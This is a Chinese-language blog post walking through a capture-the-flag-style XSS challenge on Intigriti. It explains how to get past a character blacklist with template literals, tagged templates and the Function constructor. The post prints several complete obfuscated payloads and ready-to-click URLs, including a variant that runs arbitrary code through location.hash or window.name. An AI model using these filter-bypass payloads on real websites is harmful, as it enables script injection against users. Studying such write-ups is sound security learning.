Intigriti’s 0521 XSS 挑戰解法:限定字元組合程式碼

Huli
Huli
Jun 7 · 24 min read

Intigriti 是國外的一個 bug bounty 平台,每個月都會推出一個 XSS 挑戰,有大約一到兩週的時間可以去思考,目標是在特定網站上面執行 alert(document.domain) ,解出來之後把結果透過 Intigriti 平台回報,最後會隨機抽 3 個解掉的人得到他們自己商店的優惠券。

上個月的挑戰因為解出來的人不多,所以我有幸運抽到 50 歐元的優惠券,其實很划算,因為商店賣的東西其實都滿便宜的,我買了一件 t-shirt + 兩頂帽子再加國際運費,大概 45 歐元左右。

不過這種獎品就是靠運氣啦,還是解題好玩比較重要。

挑戰網址在這邊: https://challenge-0521.intigriti.io/

挑戰截圖

程式碼分析

解題的第一步就是分析一下它的程式碼,先了解一下這整個題目的運作為何。首頁這一頁看起來沒什麼東西,比較值得注意的只有一個網址是 ./captcha.php 的 iframe,直接來看看裡面是什麼:

挑戰的程式碼

這邊有幾個 input,然後使用者按下送出時會把輸入的 c.value 丟到 eval 去執行,但有限定字元,不能使用: a-df-z<>()!\='" ,在英文字母裡面只有 e 是可以用的。

因此這題的目標就很明顯了,是要繞過這個字元的限制,然後透過那個 eval 幫我們執行 alert(document.domain)

全面啟動

有關繞過字元限制,之前我有寫了一篇: 如何不用英文字母與數字寫出 console.log(1)? ,沒想到這次就派上用場了。

舉例來說, 0/0 可以產生 NaN,所以 `${0/0}`[1] 就可以拿到字元 a。只要用類似的技巧,應該就可以產生出我們想要的所有字元。

但這題難的地方我覺得不在這,而是一開始在思考這題的時候腦袋容易打結,因為會分不太清楚什麼程式碼會直接被執行,什麼程式碼又不會。

舉例來說,就算費盡千辛萬苦拼出了目標字串好了,丟到 eval 去之後其實結果跟你想像中不太一樣,因為結構大概會像這樣: eval('"a"+"l"+"e"+"r"+"t"+"(1)"')

最後的結果會是字串: alert(1) ,而不是直接執行 alert(1),因為你在做的只是把想執行的程式碼拼出來,而 eval 只是幫你拼起來而已。那如果再把 eval 拼出來呢?

eval('"eval(a"+"l"+"e"+"r"+"t"+"(1))"'

這樣也是沒用的,也只會出現字串的 eval 而已。之所以這樣不行,是因為你拼的東西是字串中的字串。舉例來說,請看下面這兩段程式碼:

eval('alert(1)')
eval('"alert(1)"')

前者會跳出 alert,後者會輸出字串 alert。這就是因為後者是:「字串中的字串」。如果用字串拼接的方式,就一定會這樣。

所以如果需要執行程式碼的話,我們一定要有一些東西是不需要拼接的,在 JS 裡面可以把字串當作程式碼執行的有:

  1. eval
  2. function constructor
  3. setTimeout
  4. setInterval
  5. location

這裡面符合我們需求的,就是 function constructor 了!

為什麼這樣說呢?因為我們可以不直接透過字串存取到這個東西!先簡單講一下 function constructor,就是 Function() 這個東西,可以動態產生函式。

然後 Function 就是 Function.prototype.constructor,所以可以利用 prototype chain 加上陣列來存取到:

[]['constructor']['constructor'] === Function // true

有了這個之後,就可以動態建立 function 並且執行了!

像這樣:[]['constructor']['constructor']('alert(1)')()

那為什麼這樣子放進 eval 之後就可以呢?因為 [] 並不是用字串組成的,所以放進 eval 會是這樣: eval("[]['constructor']['constructor']('alert(1)')()")

這樣一來,就可以在 eval 裡面透過 function constructor 去動態執行程式碼了,這就是這個章節的標題「全面啟動」的意思,一層還有一層。

不過除了要找出替代字串以外,還有一個問題,那就是函式呼叫不能使用 () ,這該怎麼辦呢?

Tagged templates

有用過 React 中的 styled components 的話,對這個語法應該不陌生:

const Box = styled.div`
background: red;
`

其實 styled.div 是一個 function,然後用反引號來呼叫 function。沒錯,反引號也是可以呼叫函式的,但要注意的是參數的傳遞會跟你想的不太一樣。

直接做個簡單示範就知道了:

用反引號來呼叫函式的話,第一個參數會是一個陣列,裡面是所有一般的字串,隔開的標準是中間有 ${},而接下來第二個參數以後都是你放在 ${} 裡的內容。

更多範例可參考:[筆記] JavaScript ES6 中的模版字符串(template literals)和標籤模版(tagged template)

把我們上面的程式碼用反引號改寫會變這樣:

[]['constructor']['constructor']`${'alert(1)'}```

但這樣的話如果你丟去執行,會發現有錯。因為根據我們上面所說的,這樣寫的話傳去 function constructor 的參數會是:[""], 'alert(1)' ,第一個參數是一個含有空字串的陣列。

而 function constructor 除了最後一個參數之外,其他都會被當作要動態新增的函式的參數,例如說 Function('a', 'b', 'return a+b') 就是:

function (a, b) {
return a+b
}

所以第一個參數給空字串是行不通的,加一個變數就行了,例如說題目允許的 e 或者是 _:

[]['constructor']['constructor']`_${'alert(1)'}```

// 產生出的函式
function anonymous(_,) {
alert(1)
}

這樣就能順利執行程式碼了,因此最後剩下的就只有拼出 constructoralert(document.domain)

字串拼拼樂

除了我開頭提到的文章: 如何不用英文字母與數字寫出 console.log(1)?之外, jsfuck 的程式碼也有很多可以參考的地方。

底下是我用的幾個:

1. `${``+{}}` => "[object Object]"
2. `${``[0]}` => "undefined"
3. `${e}` => "[object HTMLProgressElement]"
4. `${0/0}` => "NaN"

我們可以從上面這些組合中,找到所有需要的字元。接下來只差最後兩個了,就是 () ,我們必須也用拼的拼出這兩個字元才行。

這要怎麼拿到呢?在 JS 裡面把 function 變成字串的話,就會是整個 function 的內容,像這樣:

`${[]['constructor']}`
=> "function Array() { [native code] }"

可以透過這樣子拿到這裡面的 () 這兩個字元。

結合以上的技巧,我自己寫了一個簡單的小程式去產出最終的結果:

output(長度 851):

[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${``+{}}`[6]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${``[0]}`[2]+`${``+{}}`[1]+`${``+{}}`[5]+`${``[0]}`[0]+`${e}`[23]+`e`+`${``[0]}`[1]+`${``+{}}`[6]+`.`+`${``[0]}`[2]+`${``+{}}`[1]+`${e}`[23]+`${0/0}`[1]+`${``[0]}`[5]+`${``[0]}`[1]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}```

把上面這整串貼到網頁上的 input 然後按下提交,就會看到 alert 跳出來囉!

做到這邊之後我就很開心地去送答案,結果得到了一個回覆,跟我說這是 self-XSS,提示我說可以多往 php 那邊去研究一點。

沒錯,我都忘記這是一個 self-XSS 了,因為需要自己把這串 payload 貼在 input 上面送出,就有點像是使用者必須自己把惡意程式碼貼過來一樣,這種通常沒辦法構成具有嚴重性的漏洞。

因此我就往 PHP 那邊去看,隨便試了一下發現 c=xxx 的內容會直接反映在 c.value 上,所以只要把上面那一串放到網址上面去就好了,變成:

https://challenge-0521.intigriti.io/captcha.php?c=[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${``%2b{}}`[6]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${``%2b{}}`[5]%2b`${``[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${``[0]}`[1]%2b`${``%2b{}}`[6]%2b`.`%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]}```

這樣子使用者點了網址之後 payload 就會自動填好,只要按按鈕就可以觸發。於是我們把 self-XSS 變成了 one-click XSS,點個按鈕就會中招。

做到這邊其實就通過這題了,但因為還有時間,所以我還想再研究更多東西。

執行任意程式碼

只是執行固定的程式碼不太好玩,有沒有可能執行任意程式碼?像是這種任意程式碼執行通常都會透過幾個方法把程式碼帶進去,例如說:

  1. window.name
  2. iframe + top.name
  3. location.hash

這邊前兩者都需要自己再做另一個網頁,只有 location.hash 不需要,因此這邊就先以這個作法為主吧!

我們需要湊出的字串是:

[]['constructor']['constructor']`_${'eval(location.hash.slice(1))'}```

這樣只要讓網址最後面是:#alert(document.domain) ,就可以達成一樣的效果了。

新的字元組合,缺少的只有兩個:v 跟 h。

這兩個其實不太好找,因為比較好找的已經都被我們找完了。那還有哪裡可以找呢?

首先是 v 的部分,其實可以把原生的 function 變成 string,就能拿到 [native code] 這個字串。但是在 Chrome 上與 Firefox 上的輸出不太一樣,以 RegExp 為例,

Chrome 的輸出是: function RegExp() { [native code] }
Firefox 的輸出是: function RegExp() {\n [native code]\n}

Firefox 的輸出會換行而 Chrome 不會,這就造成了字元 index 的差異,所以沒辦法跨瀏覽器取得 v 這個字。不過我們先不管這個,先來看 h 好了。

h 一樣也是不容易取得,但如果我們能組出: 17['toString']`36` ,其實就能拿到 h。

因為上面的程式碼就是把 17 這個數字轉成 36 進位,這樣就可以拿到 h,因為 h 是第 8 個英文字母(9 個數字 + 第 8 個英文字母 = 17)。

那這個大寫的 S 怎麼拿呢?String constructor 可以拿到:

``['constructor'] + ''
// output
// "function String() { [native code] }"

而且一旦我們可以用 toString 的這個技巧,其實任何小寫英文字母都可以拿到了,當然也包含前面所說的 v。

詳細過程我就不示範了,把程式改一下就好,最後的結果是(1925 個字):

[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`e`+31[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[21]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${e}`[21]+`${``+{}}`[1]+`${``+{}}`[5]+`${0/0}`[1]+`${``+{}}`[6]+`${``[0]}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`.`+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[18]+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`.`+`${e}`[18]+`${e}`[21]+`${``[0]}`[5]+`${``+{}}`[5]+`e`+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+1+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}```

挑戰最短程式碼

可以執行任意程式碼之後,還有什麼可以玩呢?那就是挑戰最短的程式碼!試著把程式碼弄到最短看看。

可以想到的有:

1.不要用 ``[0]拿到 undefined,而是用 e[0],可以省一個字元
2. ``+{} 來拿 [object Object] 其實多此一舉,用 {} 就好,省了三個字
3. 有可以用到 e 的地方盡量用到 e,因為程式碼會最少

再來我們本來是用 []['constructor'] 來拿到 function,這樣有點太長了,可以用很科學的方式來找出最短的:

找出來的冠軍是 some,可以拿來取代本來使用的 []['constructor']

最後呢,因為我們不需要執行任意程式碼了,所以用 alert(document.domain) 就好,至於 eval(name) 的話雖然乍看之下更短,但因為要拿到 v 不容易,所以其實會花費更多字元。

底下是產生出來的結果,長度 466 個字:

length: 466
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${e}`[6]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e[0]}`[2]+`${e}`[1]+`${e}`[5]+`${e[0]}`[0]+`${e}`[23]+`e`+`${e}`[25]+`${e}`[6]+`.`+`${e[0]}`[2]+`${e}`[1]+`${e}`[23]+`${0/0}`[1]+`${e[0]}`[5]+`${e}`[25]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}`` `
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${e}`[6]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[5]%2b`${e[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${e}`[25]%2b`${e}`[6]%2b`.`%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${e[0]}`[5]%2b`${e}`[25]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}```

再次縮短

把上面的結果拿去平台上 submit 之後,作者說目前看到最短的是 376 個字元。我想了一陣子發現想不太到,然後就靈機一動想說:「那來試試看 v 那個方法好了,先不管瀏覽器問題」

幫大家回顧一下瀏覽器問題是什麼,那問題就是如果想用 function to string 的方式拿到 v,Chrome 跟 Firefox 產生的結果不同:

[]['some']+''

// Chrome
"function some() { [native code] }"
v: index 23

// Firefox
"function some() {
[native code]
}"
v: index 27

所以同一個 payload 無法同時應用在這兩個網頁上面。

先不管這問題的話,產生出來的結果是這樣:

length: 376
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[23]+`${0/0}`[1]+`${e}`[21]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e}`[25]+`${0/0}`[1]+`${e}`[23]+`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}`` `
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[23]%2b`${0/0}`[1]%2b`${e}`[21]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e}`[25]%2b`${0/0}`[1]%2b`${e}`[23]%2b`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}```

376 個字,跟剛剛的 466 比起來少了快一百個。

用來產生的完整程式碼:

有些人可能不知道為什麼 eval(name) 可以,這是因為 window.name 是個神奇的屬性,基本上同一個分頁的 name 會相同,所以我們只要自己新建一個 html,裡面寫 JS 並且設定 window.name = 'alert(document.domain)',然後用 location= 跳轉到 PHP 那邊,那裡的 name 就會是我們剛剛設定好的。

沒錯,跨網域也適用。

因為我最後試出來的結果也是 376 個字,跟作者說的最短 payload 相同,詢問過後發現其實就是同一個。

結語

從這個挑戰中可以學到一些 JS 相關的東西,像是:

  1. 在限制之下湊出指定字元
  2. 用反引號 backtick 來呼叫函式以及參數的規則
  3. 用 function constructor 動態建立函式

這些知識在什麼時候會有用呢?對攻擊者而言,當你碰到一個有過濾字元的地方的時候,就可以利用這些技巧想辦法繞過限制。

對防禦方來說,在過濾時就需要考量到這些繞過的方法,如果知道可以這樣繞過,就能把 filter 訂得更精確。

不過這都只是後話,對我來說會解這些題目只是因為好玩,也沒有去想說會有什麼幫助,那些都是以後的事了。

這個平台每個月都會有 XSS 挑戰,期待之後的更多挑戰!

Cymetrics(deprecated)

check https://tech-blog.cymetrics.io/

Cymetrics(deprecated)

Our new url: https://tech-blog.cymetrics.io/

Huli

Written by

Huli

重度拖延症患者,興趣是光想不做,有很多想做的事,卻一件都沒有執行。無聊的時候喜歡寫文章,發現自己好像有把事情講得比其他人清楚的能力。相信分享與交流可以讓世界更美好。Medium 文章列表請參考:https://aszx87410.github.io/blog/medium

Cymetrics(deprecated)

Our new url: https://tech-blog.cymetrics.io/